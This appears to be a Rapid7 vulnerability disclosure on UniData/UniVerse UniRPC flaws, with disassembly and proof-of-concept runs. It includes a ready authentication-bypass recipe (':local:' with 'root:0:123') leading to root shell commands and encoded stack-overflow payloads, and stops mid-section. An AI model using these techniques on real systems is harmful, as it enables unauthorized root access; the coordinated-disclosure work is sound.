Last updated at Wed, 27 Dec 2023 14:43:53 GMT
In early 2023, Rapid7 discovered several vulnerabilities in Rocket Software's UniData and UniVerse UniRPC server (and related services) running on the Linux platform. Rapid7 worked with Rocket Software to fix the issues and coordinate this disclosure.
This disclosure will detail a number of different vulnerabilities, including:
- CVE-2023-28501: Pre-authentication heap buffer overflow in
unirpcd
service - CVE-2023-28502: Pre-authentication stack buffer overflow in
udadmin_server
service - CVE-2023-28503: Authentication bypass in
libunidata.so
'sdo_log_on_user()
function - CVE-2023-28504: Pre-authentication stack buffer overflow in
libunidata.so
'sU_rep_rpc_server_submain()
- CVE-2023-28505: Post-authentication buffer overflow in
libunidata.so
'sU_get_string_value()
function - CVE-2023-28506: Post-authentication stack buffer overflow in
udapi_slave
executable - CVE-2023-28507: Pre-authentication memory exhaustion in LZ4 decompression in
unirpcd
service - CVE-2023-28508: Post-authentication heap overflow in
udsub
service - CVE-2023-28509: Weak encryption
Note that all of the post-authentication vulnerabilities are exploitable without authenticating due to the authentication bypass documented as CVE-2023-28503, which means all of these are effectively pre-authentication until CVE-2023-28503 is remediated.
Rapid7 initially reported these vulnerabilities to Rocket Software on January 24, 2023. Since then, members of our research team have worked with the vendor to discuss impact, resolution, and a coordinated response.
Patches are available to Rocket Software customers, and should be installed as quickly as possible. Rocket Software strongly advises their UniData and UniVerse customers to upgrade to hotfix version 8.2.4.3003, available on Rocket Business Connect.
Product description
We discovered these vulnerabilities while testing UniData for Linux version 8.2.4 (build 3001). The RPC server and some of these services are shared by the UniVerse software stack as well. The vendor confirmed that the following versions are affected:
- UniData 8.2.4 (and earlier) - patched in 8.2.4 build 3003
- UniVerse 11.3.5 (and earlier) - patched in 11.3.5 build 1001
- UniVerse 12.2.1 (and earlier) - patched in 12.2.1 build 2002
We verified that these issues do not affect the Windows version, as the networking stack appears to be different.
Impact
Due to the nature of the applications, we believe that widespread exploitation of these issues is unlikely; these services tend to be found on the back end, and are rarely internet-facing. That being said, the software stack is commonly used by large organizations to store and manage data, so it's possible that these vulnerabilities will be exploited by attackers who have already gained unauthorized access to an organization's network in another way.
Credit
These vulnerabilities were discovered and documented by Ron Bowes, Lead Security Researcher at Rapid7. They are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.
Vendor statement
Rocket Software is committed to security, and we collaborate with valued researchers, such as Rapid7, to respond to and resolve vulnerabilities on behalf of our customers.
Exploitation
We tested the UniRPC network service, which is installed as part of the UniData software package. UniRPC typically listens on TCP port 31438, and runs as root. We tested everything with a default installation (i.e., no special configuration). We created a library called libneptune that implements the protocol, and includes a proof of concept for each issue below. Most proofs of concept will crash the service while reading or executing an illegal memory address, but we created two full Metasploit modules as well, so organizations can more easily evaluate their own risk.
A note on testing
We made a small change to unirpcd
for testing, which disables the fork
call, which means it only handles a single connection then terminates. That makes debugging much easier, since you don't have to deal with multiple forked processes. We called it unirpcd-oneshot
, and will use it for most of our examples. The changes are only a couple bytes, which you can change with a hex editor:
[ron@unidata bin]$ diff -ru0 <(hexdump -C unirpcd) <(hexdump -C unirpcd-oneshot)
--- unirpcd 2023-01-17 13:09:45.511592523 -0500
+++ unirpcd-oneshot 2023-01-17 13:09:45.511592523 -0500
@@ -1075 +1075 @@
-00004320 ec ff ff e8 f8 eb ff ff 83 f8 ff 41 89 c6 0f 84 |...........A....|
+00004320 ec ff ff 48 31 c0 90 90 83 f8 ff 41 89 c6 0f 84 |...H1......A....|
Note that this doesn't change how the exploits work at all, it only simplifies testing and demonstration (by not spawning new processes for each connection).
UniRPC Server overview
When UniData is installed, it comes with a service called unirpcd
, which is an RPC daemon. The RPC daemon accepts connections, forks new processes, and processes messages sent by the client using a custom binary protocol that we implemented as part of libneptune.
After connecting, a client sends a message to UniRPC that selects which back-end service to execute. The list of available services will probably vary by the application package (we only tested UniData), but they are listed in a file called unirpcservices
. The unirpcservices
file lists the service names and executables and has options for IP restrictions, protocols, timeouts, and other details:
# cat ~/unidata/unishared/unirpc/unirpcservices
udcs /home/ron/unidata/unidata/bin/udapi_server * TCP/IP 0 3600
defcs /home/ron/unidata/unidata/bin/udapi_server * TCP/IP 0 3600
udadmin /home/ron/unidata/unidata/bin/udadmin_server * TCP/IP 0 3600
udadmin82 /home/ron/unidata/unidata/bin/udadmin_server * TCP/IP 0 3600
udserver /home/ron/unidata/unidata/bin/udsrvd * TCP/IP 0 3600
unirep82 /home/ron/unidata/unidata/bin/udsub * TCP/IP 0 3600
rmconn82 /home/ron/unidata/unidata/bin/repconn * TCP/IP 0 3600
uddaps /home/ron/unidata/unidata/bin/udapi_server * TCP/IP 0 3600
We tested each of those services, as well as the unirpcd
daemon itself. A library — libunidata.so
— is shared by all the services. Our results are detailed below.
CVE-2023-28501: Pre-authentication heap buffer overflow in unirpcd
's packet receive
We discovered a pre-authentication heap overflow issue due to an integer overflow in the UniRPC daemon itself (unirpcd
) when receiving the body of an RPC packet in the uvrpc_read_message()
function. Successful exploitation can corrupt the heap's data and metadata, and is likely to lead to remote code execution as the root user. Because this is in the RPC daemon itself, it can affect any software package that includes this version of the daemon, irrespective of which RPC services are included.
We wrote a proof of concept to demonstrate this issue in unirpc_heapoverflow_read_body.rb. For the purposes of demonstration, we trick the server into attempting to read from the memory address 0x4141414141414141, which crashes the process. Here is how we ran unirpcd-oneshot
in gdb
:
[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
[...]
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=4039 - 13:12:07 - uvrpc_debugflag=9 (Debugging level)
RPCPID=4039 - 13:12:07 - portno=12345
RPCPID=4039 - 13:12:07 - res->ai_family=10, ai_socktype=1, ai_protocol=6
Then we run the proof-of-concept tool in another window, and see the following in the debugger:
RPCPID=4039 - 13:13:45 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=4039 - 13:13:45 - accept: forking
RPCPID=4039 - 13:13:45 - in accept read_packet returns 13c6a
Program received signal SIGSEGV, Segmentation fault.
_dl_fini () at dl-fini.c:194
194 if (l == l->l_real)
Here's the stack trace, which shows that it crashes in __run_exit_handlers()
:
(gdb) bt
#0 _dl_fini () at dl-fini.c:194
#1 0x00007ffff5c2ece9 in __run_exit_handlers (status=1, listp=0x7ffff5fbc6c8 <__exit_funcs>, run_list_atexit=run_list_atexit@entry=true) at exit.c:77
#2 0x00007ffff5c2ed37 in __GI_exit (status=<optimized out>) at exit.c:99
#3 0x0000000000404479 in accept_connection ()
#4 0x0000000000403bd9 in main ()
We can verify that it crashes while trying to read the memory address 0x4141414141414141 by checking the instruction it crashed on:
(gdb) x/i $rip
=> 0x7ffff7deafc9 <_dl_fini+313>: cmp QWORD PTR [rcx+0x28],rcx
(gdb) print/x $rcx
$1 = 0x4141414141414141
To understand this issue, we have to look at the UniRPC packet header fields (we don't have the official names of this structure, so these are our best guesses):
- (1 byte) version byte (always 0x6c)
- (1 byte) other version byte (always 0x01 or 0x02)
- (1 byte) reserved / ignored
- (1 byte) reserved / ignored
- (4 bytes) body length
- (4 bytes) reserved / ignored
- (1 byte) encryption_mode
- (1 byte) is_compressed
- (1 byte) is_encrypted
- (1 byte) reserved / ignored
- (4 bytes) reserved / must be 0
- (2 bytes) argcount
- (2 bytes) data length
The body length
argument is a 32-bit signed integer, and must be positive (ie, 0x7FFFFFFF and below). The following code from unirpcd
enforces that length restriction:
.text:0000000000407580 41 8B 47 04 mov eax, [r15+4] ; Read the 32-bit "size" field from the header into eax
.text:0000000000407584 89 C7 mov edi, eax
.text:0000000000407586 89 44 24 08 mov dword ptr [rsp+88h+len], eax ; Save the length to the stack
.text:000000000040758A B8 70 3C 01 00 mov eax, UNIRPC_ERROR_BAD_RPC_PARAMETER
.text:000000000040758F 85 FF test edi, edi
.text:0000000000407591 0F 8E B0 FE FF FF jle return_eax ; Fail if the length is negative
In that code, the body length
is read into the eax
register, then validated to ensure it's not negative — the jle
opcode jumps if it's less than or equal to zero. If it's negative, it returns the error that we called UNIRPC_ERROR_BAD_RPC_PARAMETER
.
A bit later, the following code executes:
.text:000000000040761A 8B 44 24 08 mov eax, dword ptr [rsp+88h+len] ; Read the 'size' back into eax
.text:000000000040761E 83 C0 17 add eax, 17h ; Add 0x17 (23) to the length - this can overflow and go negative!
.text:0000000000407621 3B 05 35 27 24 00 cmp eax, cs:uvrpc_readbufsiz ; Compare to the size of uvrpc_readbufsiz (0x2018 by default)
.text:0000000000407627 0F 8D 3F 02 00 00 jge expand_read_buf_size ; Jump if we need to expand the buffer
In that snippet, the server adds 0x17 (23) to the length value from earlier and compares it against the global variable uvrpc_readbufsiz
, which is 0x2018 (8216) by default. If the length is less than 0x2018, no additional memory is allocated for the buffer. If we chose a very large (but positive) value such as 0x7FFFFFFF, adding 0x17 to it will overflow the integer and the resulting value (0x80000016) is negative (in two's complement, 32-bit values from 0x80000000 to 0xFFFFFFFF are negative). Because a negative value is technically below 0x2018, no additional memory is allocated and the 0x2018-byte buffer is used as-is.
Finally, this code runs to receive the body of the RPC message:
.text:0000000000407631 44 8B 74 24 08 mov r14d, dword ptr [rsp+88h+len] ; Read the length from the stack
[...]
.text:000000000040768F 44 89 F1 mov ecx, r14d ; max_length = len
.text:0000000000407692 E8 09 E6 FF FF call uvrpc_readn ; Receive up to `max_length`
If we put a breakpoint on recv
and execute the proof of concept, we can see the recv
function trying to receive way too much data into a buffer:
[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
(gdb) b recv
Breakpoint 1 at 0x402a40
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=78590 - 18:19:56 - uvrpc_debugflag=9 (Debugging level)
RPCPID=78590 - 18:19:56 - portno=12345
RPCPID=78590 - 18:19:56 - res->ai_family=10, ai_socktype=1, ai_protocol=6
[... run the proof-of-concept script here ...]
RPCPID=78590 - 18:19:58 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=78590 - 18:19:58 - accept: forking
Breakpoint 1, __libc_recv (fd=8, buf=0x67d330, n=8216, flags=0) at ../sysdeps/unix/sysv/linux/x86_64/recv.c:28
28 if (SINGLE_THREAD_P)
(gdb) cont
Continuing.
Breakpoint 1, __libc_recv (fd=8, buf=0x67f348, n=2147475455, flags=0) at ../sysdeps/unix/sysv/linux/x86_64/recv.c:28
28 if (SINGLE_THREAD_P)
(gdb) cont
The n
argument to __libc_recv
is the important part of that snippet. The first time, it tries to receive up to 8216 bytes (that's 0x2018 — the default buffer size). The second time, it attempts to read 2,147,475,455 (0x7FFFDFFF) bytes into a much smaller buffer. recv()
will read as much data from the socket as it can, then return; that means that we can overflow the heap buffer exactly as much as we want to, there's no need to send all 0x7FFFDFFF bytes.
This can overwrite other values on the heap, as well as heap metadata, which might lead to remote code execution. While our proof of concept stops short of remote code execution, we believe that this is very likely to be exploitable.
CVE-2023-28502: Pre-authentication stack buffer overflow in udadmin_server
(username and password fields)
We discovered a pair of pre-authentication stack-based buffer overflows in the udadmin_server
RPC service (accessed via the service name udadmin
or udadmin82
), which is exploitable to obtain unauthenticated remote code execution as the root user.
When a user connects to the udadmin_server
service, they are required to send a message with up to three arguments:
- An opcode (integer) of
0x0F
(15
) - A username (string)
- An encoded password (string)
After receiving that message and validating that the opcode is correct, the service copies the username into a buffer using a strcpy
-like function with no bounds checks (u2strcpy
), then copies the password into another buffer using the same dangerous function. The password is then decoded using a function called rpcDecrypt()
.
Based on the compiled executable, the vulnerable code appears to be in the main
function in the source file udadmin.c
on lines 803 and 805. Here's the code where the username is copied into a stack buffer:
.text:0000000000408AAC BF 01 00 00 00 mov edi, 1 ; Argument index (1 = second argument = username)
.text:0000000000408AB1 E8 AA 41 00 00 call getStringVal ; Gets a pointer to the string value
.text:0000000000408AB6 48 85 C0 test rax, rax
.text:0000000000408AB9 49 89 C4 mov r12, rax ; <-- r12 = username
[...]
.text:0000000000409098 4C 8D AC 24 30+ lea r13, [rsp+428h+var_2F8] ; r13 = ptr to stack buffer
.text:0000000000409098 01 00 00
.text:00000000004090A0 48 8D 15 D0 75+ lea rdx, udadmin_c ; filename = "udadmin.c"
.text:00000000004090A0 02 00
.text:00000000004090A7 B9 23 03 00 00 mov ecx, 323h ; line = 803
.text:00000000004090AC 4C 89 E6 mov rsi, r12 ; src = username
.text:00000000004090AF 4C 89 EF mov rdi, r13 ; dest = r13 = stack buffer
.text:00000000004090B2 E8 39 F1 FF FF call _u2strcpy ; Stack overflow #1
That's shortly followed by this code, where the password is copied into a stack buffer:
.text:00000000004090E0 BF 02 00 00 00 mov edi, 2 ; Argument index (2 = second argument = password)
[...]
.text:00000000004090E7 4C 8D A4 24 70+ lea r12, [rsp+428h+var_2B8] ; r12 = ptr stack buffer
.text:00000000004090E7 01 00 00
.text:00000000004090EF E8 6C 3B 00 00 call getStringVal ; Read the password
.text:00000000004090F4 48 8D 15 7C 75+ lea rdx, udadmin_c ; filename = "udadmin.c"
.text:00000000004090F4 02 00
.text:00000000004090FB B9 25 03 00 00 mov ecx, 325h ; line = 805
.text:0000000000409100 48 89 C6 mov rsi, rax ; src = password
.text:0000000000409103 4C 89 E7 mov rdi, r12 ; dest = r12 = stack buffer
.text:0000000000409106 E8 E5 F0 FF FF call _u2strcpy ; <-- Stack overflow #2
The password has an additional twist, because it's encoded; the rpcEncrypt
function decodes it:
.text:0000000000408B37 4C 89 E7 mov rdi, r12 ; rdi = password
.text:0000000000408B3A E8 F1 41 00 00 call rpcEncrypt ; "Decode" the password by inverting bytes
Functionally, rpcEncrypt
negates every byte in the password (binary 0 bits become 1, and 1 bits become 0).
Typically, strcpy()
-based overflows are more difficult to exploit, because NUL (\0
) bytes terminate strings. That means that including a 64-bit memory address or a ROP chain will fail, because all user-mode addresses are guaranteed to contain NUL bytes, which truncate the resulting string. However, because all bytes in the password string are negated after the strcpy()
(using the rpcEncrypt()
function), we CAN include NUL bytes. This behavior actually makes it much easier to exploit than it'd otherwise be, since now we only have to avoid bytes that are NUL bytes after negation (ie, 0xFF
bytes).
We wrote a proof of concept for this issue that will execute an arbitrary shell command by returning into code that calls the system()
function. For example, we can run a shell command that creates a file:
$ ruby ./udadmin_stackoverflow_password.rb 10.0.0.198 31438 'kill -TERM $PPID & touch /tmp/stackoverflowtest'
Connecting to 'udadmin' service:
Request:
{:args=>[{:type=>:string, :value=>"udadmin"}, {:type=>:integer, :value=>1337}]}
Response:
{:header=>
"l\x01\x00\x00\x00\x00\x00\f\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00",
:version_byte=>108,
:other_version_byte=>1,
:body_length=>12,
:encryption_key=>2,
:claim_compression=>0,
:claim_encryption=>0,
:argcount=>1,
:data_length=>0,
:args=>[{:type=>:integer, :value=>0, :extra=>1}]}
Request:
{:args=>
[{:type=>:integer, :value=>15},
{:type=>:string, :value=>"test"},
{:type=>:string,
:value=>
"\xBE\xBE[......]\xBE\xBE\xDA\xD1\xBE\xFF\xFF\xFF\xFF\xFF\x94\x96\x93\x93\xDF\xD2\xAB\xBA\xAD\xB2\xDF\xDB\xAF\xAF\xB6\xBB\xDF\xD9\xDF\x8B\x90\x8A\x9C\x97\xDF\xD0\x8B\x92\x8F\xD0\x8C\x8B\x9E\x9C\x94\x90\x89\x9A\x8D\x99\x93\x90\x88\x8B\x9A\x8C\x8B"}]}
Response:
{:header=>
"l\x01\x00\x02\x00\x00\x00\f\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00",
:version_byte=>108,
:other_version_byte=>1,
:body_length=>12,
:encryption_key=>2,
:claim_compression=>0,
:claim_encryption=>0,
:argcount=>1,
:data_length=>0,
:args=>[{:type=>:integer, :value=>80011, :extra=>4}]}
Payload sent
Then we can verify that the file exists on the target (and is owned by root) to prove that the exploit ran:
[ron@unidata ~]$ ls -l /tmp/stackoverflowtest
-rw-r--r--. 1 root root 0 Jan 17 14:00 /tmp/stackoverflowtest
We also wrote a Metasploit module to help organizations validate the impact of this issue.
CVE-2023-28503: Authentication bypass in libunirpc.so
's do_log_on_user()
function
We discovered an authentication bypass in the do_log_on_user()
function in libunidata.so
that permits a user to authenticate as any Linux user on the target service using a hard-coded username (:local:
) and a deterministic password. This affects most of the services that UniData ships, and leads directly to shell command execution via the udadmin
service. Additionally, it allows us to exploit several post-authentication vulnerabilities (detailed below) that would otherwise require a valid account to access.
To demonstrate this vulnerability, we chose the udadmin_server
executable (accessed via RPC as the udadmin
or udadmin82
service), as it permits authenticated users to execute operating system commands as part of its intended functionality. When a user connects to the udadmin_server
service, they are required to send a message with up to three arguments:
- An opcode (integer) of
0x0F
(15
) - A username (string)
- An encoded password (string)
After copying the username and password into stack-based buffers, the password is decoded (by negating each byte), then the username and password field are passed into the impersonate_user
function, which is in libunidata.so
:
.text:0000000000408B57 48 8D 94 24 00+ lea rdx, [rsp+428h+var_328] ; arg3
.text:0000000000408B57 01 00 00
.text:0000000000408B5F 4C 89 E6 mov rsi, r12 ; password
.text:0000000000408B62 B9 01 00 00 00 mov ecx, 1 ; arg4
.text:0000000000408B67 4C 89 EF mov rdi, r13 ; username
.text:0000000000408B6A C7 84 24 00 01+ mov [rsp+428h+var_328], 0
.text:0000000000408B6A 00 00 00 00 00+
.text:0000000000408B6A 00
.text:0000000000408B75 E8 86 F2 FF FF call _impersonate_user ; <-- Validate the credentials
.text:0000000000408B7A 85 C0 test eax, eax
.text:0000000000408B7C 41 89 C4 mov r12d, eax
.text:0000000000408B7F 74 45 jz short impersonate_successful ; <-- Jump if successful
.text:0000000000408B81 48 8B 3B mov rdi, [rbx] ; stream
.text:0000000000408B84 48 8D 35 E6 7B+ lea rsi, aLogonuserErrco ; "LogonUser: errcode=%d\n"
The impersonate_user
function in libunidata.so
is a thin wrapper around do_log_on_user
(also found in libunidata.so
). At the start of do_log_on_user
, it compares the username to the string literal :local:
, and jumps to standard PAM-based login code if it's not a match (note that memory addresses of libunidata.so
probably will not match yours, since it's compiled as position-independent code and we manually set a base address based on where our lab machine loads the code):
.text:00007FFFF7312970 ; __int64 __usercall do_log_on_user@<rax>(char *username@<rdi>, char *password@<rsi>, int, int)
[...]
.text:00007FFFF7312985 lea rdi, aLocal_1 ; ":local:"
.text:00007FFFF731298C push rbx
.text:00007FFFF731298D mov rbx, rsi
.text:00007FFFF7312990 mov rsi, rbp
.text:00007FFFF7312993 sub rsp, 10h
.text:00007FFFF7312997 repe cmpsb ; compare "username" to ":local:"
.text:00007FFFF7312999 jnz short username_not_local ; Jump if they aren't equal
If the username is :local:
, the do_log_on_user
function splits the password into three fields, using :
as a delimiter (which, it turns out, are a username, a Linux user id, and a Linux group id). If the password doesn't contain two colons, the login attempt fails:
.text:00007FFFF731299B mov esi, 3Ah ; ':' ; c
.text:00007FFFF73129A0 mov rdi, rbx ; s
.text:00007FFFF73129A3 call _strchr ; Find the first ':'
.text:00007FFFF73129A8 test rax, rax
.text:00007FFFF73129AB jz short return_error ; Return an error if the password doesn't have : in it
.text:00007FFFF73129AD lea rbp, [rax+1] ; rbp = part 2 of password
.text:00007FFFF73129B1 mov byte ptr [rax], 0
.text:00007FFFF73129B4 mov esi, 3Ah ; ':' ; c
.text:00007FFFF73129B9 mov rdi, rbp ; s
.text:00007FFFF73129BC call _strchr ; Find the second ':'
.text:00007FFFF73129C1 test rax, rax
.text:00007FFFF73129C4 jz short return_error ; Jump if there's no second colon
If the string correctly has three colon-separated fields, the following code executes:
.text:00007FFFF7312A50 loc_7FFFF7312A50: ; CODE XREF: do_log_on_user+60↑j
.text:00007FFFF7312A50 test rbp, rbp ; Check the second part of the password
.text:00007FFFF7312A53 jz return_error
.text:00007FFFF7312A59 xor esi, esi ; endptr
.text:00007FFFF7312A5B mov rdi, rbp ; nptr
.text:00007FFFF7312A5E mov edx, 0Ah ; base
.text:00007FFFF7312A63 call _strtol ; Convert the second field to an integer
.text:00007FFFF7312A63 ; (the return value isn't checked, so 0 works)
.text:00007FFFF7312A68 xor esi, esi ; endptr
.text:00007FFFF7312A6A mov [r12], eax
.text:00007FFFF7312A6E mov edx, 0Ah ; base
.text:00007FFFF7312A73 mov rdi, r13 ; nptr
.text:00007FFFF7312A76 call _strtol ; Convert the third field to an integer
.text:00007FFFF7312A7B test eax, eax
.text:00007FFFF7312A7D mov rbp, rax
.text:00007FFFF7312A80 jz return_error ; Return value cannot be 0
.text:00007FFFF7312A86 mov rdi, rbx ; name
.text:00007FFFF7312A89 call _getpwnam ; Get the uid for the first field
.text:00007FFFF7312A8E test rax, rax
.text:00007FFFF7312A91 jz return_error ; The user must exist
.text:00007FFFF7312A97 mov esi, [r12]
.text:00007FFFF7312A9B cmp [rax+10h], esi ; Compare the uid retrieved by `getpwnam()` with the second field
.text:00007FFFF7312A9E jnz return_error ; Jump if it's not equal
.text:00007FFFF7312AA4 xor r8d, r8d
.text:00007FFFF7312AA7 mov ecx, 1
.text:00007FFFF7312AAC mov edx, ebp ; group
.text:00007FFFF7312AAE mov rdi, rbx ; s2
.text:00007FFFF7312AB1 call _briefReinit ; Success!
In that code, the library converts the second and third colon-separated fields into integer values. Then it passes the first field (a string) into the getpwnam
function, which looks up the username as a local Linux user. If that succeeds, it ensures that second field (an integer) matches the user's user id (uid
) value, then simply ensures that the third field, which will be treated as a group id, is non-zero.
In other words, the three colon-separated fields in the password are:
- A local username (such as
root
) - The corresponding user id (such as
0
) - Any value that's not
0
(which will be used as a group id when privileges are dropped)
For example, we can use the username :local:
with password ron:1000:123
to authenticate as ron
on my host, since ron
's user id is 1000
and 123
is not 0
. Alternatively, the username :local:
with password root:0:123
will work on most Linux targets, as root
usually has a user id of 0
and 123
is still not 0
.
Once that check passes, _briefReinit
is called with our user id and group id values. We didn't look into the _briefReinit
function, but we observed that it drops the process's privileges to the provided user id and group id values to the ones the user sent, then returns a success code to whatever service is attempting to authorize the user.
From here, we chose the udadmin
service as an example target. If we successfully authenticate to udadmin
, we can call any of dozens of different functions, each identified by a particular opcode. We chose opcode 6
, because it's called OSCommand
, which, as the name implies, will run a Linux shell command of the user's choosing:
.text:000000000040B7D4 handle_opcode_6: ; CODE XREF: main+780↑j
.text:000000000040B7D4 48 8B 3B mov rdi, [rbx] ; stream
.text:000000000040B7D7 48 8D 35 15 50+ lea rsi, aOpcodeOpcodeDO ; "OpCode: opcode=%d(OSCommand)\n"
.text:000000000040B7D7 02 00
.text:000000000040B7DE BA 06 00 00 00 mov edx, 6
.text:000000000040B7E3 31 C0 xor eax, eax
.text:000000000040B7E5 E8 16 17 00 00 call logMsg
.text:000000000040B7EA BF 01 00 00 00 mov edi, 1 ; Get the second parameter
.text:000000000040B7EF 31 C0 xor eax, eax
.text:000000000040B7F1 E8 6A 14 00 00 call getStringVal ; Gets the second parameter as a string
.text:000000000040B7F6 48 89 C7 mov rdi, rax ; Argument fromt he user
.text:000000000040B7F9 E8 C2 B8 00 00 call UDA_OSCommand ; Wrapper around "system"
.text:000000000040B7FE E9 07 D5 FF FF jmp loc_408D0A
We wrote a proof of concept that uses this bypass to authenticate as root, then uses OSCommand
to execute a chosen command. Like the last vulnerability, we can use it to create a file:
$ ruby ./udadmin_authbypass_oscommand.rb 10.0.0.198 31438 'touch /tmp/authbypassdemo'
Connecting to 'udadmin' service:
Request:
{:args=>[{:type=>:string, :value=>"udadmin"}, {:type=>:integer, :value=>1337}]}
Response:
[...]
Request:
{:args=>
[{:type=>:integer, :value=>15},
{:type=>:string, :value=>":local:"},
{:type=>:string, :value=>"\x8D\x90\x90\x8B\xC5\xCF\xC5\xCE\xCD\xCC"}]}
Response:
[...]
Request:
{:args=>
[{:type=>:integer, :value=>6},
{:type=>:string, :value=>"touch /tmp/authbypassdemo"}]}
Response:
[...]
Then verify that the file is created (and owned by root
), and therefore that the command executed:
[ron@unidata ~]$ ls -l /tmp/authbypassdemo
-rw-r--r--. 1 root 123 0 Jan 17 15:58 /tmp/authbypassdemo
We also wrote a Metasploit module to help organizations better understand the risk of this issue.
CVE-2023-28504: Pre-authentication stack buffer overflow in libunirpc.so
's U_rep_rpc_server_submain()
function
We discovered a stack buffer overflow in the function U_rep_rpc_server_submain()
in libunidata.so
. The overflow occurs when the username and password fields are copied into stack-based buffers using an insecure strcpy
-like function (u2strcpy
). The U_rep_rpc_server_submain
function is used to authenticate users in multiple RPC services, which means it can be exploited through multiple RPC endpoints. If successfully exploited, an attacker can write arbitrary data to the stack, including the return address, leading to pre-authentication remote code execution as the root
user.
The vulnerable function (U_rep_rpc_server_submain
) is accessible by at least the following API endpoints:
repconn
(accessed asrmconn82
)udsub
(accessed asunirep82
)
We created a proof of concept for both services — repconn_stackoverflow_password.rb and udsub_stackoverflow_password.rb respectively. These will both crash the process at a debug breakpoint, which demonstrates code execution (note that this payload will only work on the exact versions that we tested; other vulnerable versions will most likely crash with a segmentation fault).
This is the same basic vulnerability as the stack buffer overflow in udadmin_server
discussed above (CVE-2023-28502), but in a library function instead of in the RPC service itself. Based on function arguments in the disassembled code, the vulnerable u2strcpy
calls appear to be found in the source file rep_rpc.c
on lines 693 and 694. Here is the vulnerable code from U_rep_rpc_server_submain()
in libunidata.so
(note that you'll see different memory addresses than these, since the library is compiled as position-independent, and we chose a base address of where it happened to load in our lab):
.text:00007FFFF728EF68 call _uvrpc_read_packet ; <-- Reads the login message (username/password)
.text:00007FFFF728EF6D test eax, eax
.text:00007FFFF728EF6F jnz loc_7FFFF728F025 ; Jump on fail
.text:00007FFFF728EF75 mov rax, cs:conns
.text:00007FFFF728EF7C mov rsi, [rax+r12+0C230h] ; src
.text:00007FFFF728EF84 test rsi, rsi
.text:00007FFFF728EF87 jz loc_7FFFF728F02C
.text:00007FFFF728EF8D lea r14, [rsp+158h+username] ; <-- Stack buffer
.text:00007FFFF728EF92 lea rdx, aRepRpcC ; Source file = "rep_rpc.c"
.text:00007FFFF728EF99 mov ecx, 2B5h ; Line number = 0x2b5 (693)
.text:00007FFFF728EF9E lea r13, [rsp+158h+password] ; <-- Another stack buffer
.text:00007FFFF728EFA6 mov rdi, r14 ; dest
.text:00007FFFF728EFA9 call _u2strcpy ; <-- Copy the username (stack overflow)
.text:00007FFFF728EFAE mov rax, cs:conns
.text:00007FFFF728EFB5 lea rdx, aRepRpcC ; Source file = "rep_rpc.c"
.text:00007FFFF728EFBC mov ecx, 2B6h ; Line number = 0x2b6 (694)
.text:00007FFFF728EFC1 mov rdi, r13 ; dest
.text:00007FFFF728EFC4 mov rsi, [rax+r12+0C248h] ; src
.text:00007FFFF728EFCC call _u2strcpy ; <-- Copy the password (stack overflow)
Like the vulnerability we documented in CVE-2023-28502, after being copied into a buffer the password is decoded by negating each byte (although this time the decoding code is inline instead of using rpcEncrypt()
):
.text:00007FFFF728EFE0 top_negating_loop: ; CODE XREF: U_rep_rpc_server_submain+23E↓j
.text:00007FFFF728EFE0 not edx ; Negate the current byte
.text:00007FFFF728EFE2 add rax, 1 ; Go to the next byte
.text:00007FFFF728EFE6 mov [rax-1], dl ; Write the negated byte back to the string
.text:00007FFFF728EFE9 movzx edx, byte ptr [rax] ; Read the next byte
.text:00007FFFF728EFEC test dl, dl ; Check if we've reached the end
.text:00007FFFF728EFEE jnz short top_negating_loop
Again, in most strcpy
-like vulnerabilities, NUL bytes will truncate the payload, which makes exploitation much more difficult; however, due to this encoding, we actually can use NUL bytes. We wrote a proof of concept for the repconn
service that will cause the application to crash at a debug breakpoint:
[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[...run the proof of concept in another window...]
RPCPID=13568 - 16:16:50 - looking for service rmconn82
RPCPID=13568 - 16:16:50 - Found service=rmconn82
RPCPID=13568 - 16:16:50 - Checking host: *
RPCPID=13568 - 16:16:50 - accept: execing /home/ron/unidata/unidata/bin/repconn
process 13568 is executing new program: /home/ron/unidata/unidata/bin/repconn
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000000000401e70 in main ()
(gdb) x/i $rip-1
0x401e6f <main+1343>: int3
Similarly, the udsub
proof of concept will also cause the application to crash at a debug breakpoint, although the address is slightly different:
[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[...run the proof of concept in another window...]
RPCPID=13733 - 16:19:41 - looking for service unirep82
RPCPID=13733 - 16:19:41 - Found service=unirep82
RPCPID=13733 - 16:19:41 - Checking host: *
RPCPID=13733 - 16:19:41 - accept: execing /home/ron/unidata/unidata/bin/udsub
process 13733 is executing new program: /home/ron/unidata/unidata/bin/udsub
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000000000402b4c in main ()
(gdb) x/i $rip-1
0x402b4b <main+2027>: int3
\
CVE-2023-28505: Post-authentication buffer overflow in libunidata.so
's U_get_string_value()
function
We discovered a post-authentication buffer overflow in the U_get_string_value()
function in libunidata.so
, which is accessible through the RPC service unirep82
. If successfully exploited, it leads to remote code execution as the authenticated user (combined with the authentication bypass in CVE-2023-28503, this is remotely exploitable as the root
user without knowing a password).
The root cause is use of the u2strcpy()
function, which is a wrapper around the standard strcpy()
function. According to information in the compiled executable, the unsafe function usage is in the source file rep_rpc.c
at line 464 (note that, like in other snippets from libunidata.so
, your address will not line up with ours):
